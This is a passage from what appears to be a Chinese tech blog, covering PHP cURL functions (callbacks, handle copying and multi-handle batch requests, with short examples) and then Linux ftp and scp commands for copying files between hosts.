设置一个回调函数,这个函数有两个参数,第一个是curl的资 源句柄,第二个是输出的header数据。header数据的输出必须依赖这个函数,返回已写入的数据大小。

CURLOPT_PASSWDFUNCTION
设置一个回调函数,有三个参数,第一个是curl的资 源句柄,第二个是一个密码提示符,第三个参数是密码长度允许的最大值。返回密码的值。

CURLOPT_READFUNCTION
设置一个回调函数,有两个参数,第一个是curl的资 源句柄,第二个是读取到的数据。数据读取必须依赖这个函数。返回读取数据的大小,比如0或者EOF。

CURLOPT_WRITEFUNCTION
设置一个回调函数,有两个参数,第一个是curl的资 源句柄,第二个是写入的数据。数据写入必须依赖这个函数。返回精确的已写入数据的大小

curl_copy_handle()函数的作用是拷贝一 个curl连接资源的所有内容和参数

<?php
$ch = curl_init("http://www.baidu.com/");
$another = curl_copy_handle($ch);
curl_exec($another);
curl_close($another);
?>

curl_error()函数的作用是返回一个包含当前会 话错误信息的字符串。
curl_errno()函数的作用是返回 一个包含当前会话错误信息的数字编号。

curl_multi_init()函数的作用是初始化一 个curl批处理句柄资源。
curl_multi_add_handle()函数的作用是向curl批处理会话中添加单独的curl句 柄资源。curl_multi_add_handle()函数有两个参数,第一个参数表示一个curl批处 理句柄资源,第二个参数表示一个单独的curl句柄资源。
curl_multi_exec()函数的作用是解析一个curl批处理句柄,curl_multi_exec()函数有两个参数,第一个参数表示一个批处理句柄资源,第二个参数是一个引用值的参数,表示剩余需要处 理的单个的curl句柄资源数量。
curl_multi_remove_handle()函数表示移除curl批处理句柄资源中的某个句柄资源,curl_multi_remove_handle()函数有两个参数,第一个参数表示一个curl批处 理句柄资源,第二个参数表示一个单独的curl句柄资源。
curl_multi_close()函数的作用是关闭一个批处理句柄资源。

<?php
$ch1 = curl_init();
$ch2 = curl_init();
curl_setopt($ch1, CURLOPT_URL, "http://www.baidu.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.google.com/");
curl_setopt($ch2, CURLOPT_HEADER, 0);
$mh = curl_multi_init();
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);
do {
curl_multi_exec($mh,$flag);
} while ($flag > 0);
curl_multi_remove_handle($mh,$ch1);
curl_multi_remove_handle($mh,$ch2);
curl_multi_close($mh);
?>

curl_multi_getcontent()函数的作 用是在设置了CURLOPT_RETURNTRANSFER的情况下,返回获取的输出的文本流。

curl_multi_info_read()函数的作用 是获取当前解析的curl的相关传输信息。

curl_multi_select()
Get all the sockets associated with the cURL extension, which can then be "selected"

这是网上看到的关于PHP的curl相对比较全的中文说明了。

标签: php, IT, 资源, curl, 批处理

linux远程拷贝下载文件 - ftp命令和scp命令

ftp命令:

 服务器有安装ftp Server,另外一台linux可以使用ftp的client程序来进行文件的拷贝读取和下载。

 1. 连接ftp服务器
  格式:ftp [hostname| ip-address]
  a)在linux命令行下输入:ftp 192.168.26.66
  b)服务器询问你用户名和口令,分别输入用户名和相应密码,待认证通过即可。

 2. 下载文件

  下载文件通常用get和mget这两条命令。
  a) get
  格式:get [remote-file] [local-file]
  将文件从远端主机中传送至本地主机中.
  如要获取服务器上e:\rose\1.bmp,则
  ftp> get /rose/1.bmp 1.bmp (回车)

  b) mget      
  格式:mget [remote-files]
  从远端主机接收一批文件至本地主机.
  如要获取服务器上e:\rose\下的所有文件,则
  ftp> cd /rose
  ftp> mget *.* (回车)

  注意:文件都下载到了linux主机的当前目录下。比如,在 /root/yint下运行的ftp命令,则文件都下载到了/root/yint 下。

 3.上传文件

  a) put
  格式:put local-file [remote-file]
  将本地一个文件传送至远端主机中.
  如要把本地的1.bmp传送到远端主机e:\rose,并改名为333.bmp
  ftp> put 1.bmp /rose/333.bmp (回车)

  b) mput
  格式:mput local-files
  将本地主机中一批文件传送至远端主机.
  如要把本地当前目录下所有bmp文件上传到服务器e:\rose 下
  ftp> cd /rose (回车)
  ftp> mput *.bmp (回车)
  注意:上传文件都来自于主机的当前目录下。比如,在 /root/test下运行的ftp命令,则只有在/root/test下的文件linux才会 上传到服务器e:\rose 下。

 4. 断开连接
  bye:中断与服务器的连接。
  ftp> bye (回车)

SCP命令:

    scp是安全的文件拷贝,基于ssh的登录

   假定你想把本地计算机/home下的一个名为a.tar.tz的文件拷贝到远程服务器192.168.0.2上的/home/tmp。而且你在远程服务器 上的帐号名为root。可以用这个命令:
scp /home/a.tar.tz root@192.168.0.2:/home/tmp/

如果把文件从远程机器拷贝到本机当前目录用这个命令:
   scp root@192.168.0.2:/home/a.tar.tz

   拷贝远程机器的整个目录下的文件
   scp -r root@192.168.0.2:/home/* ./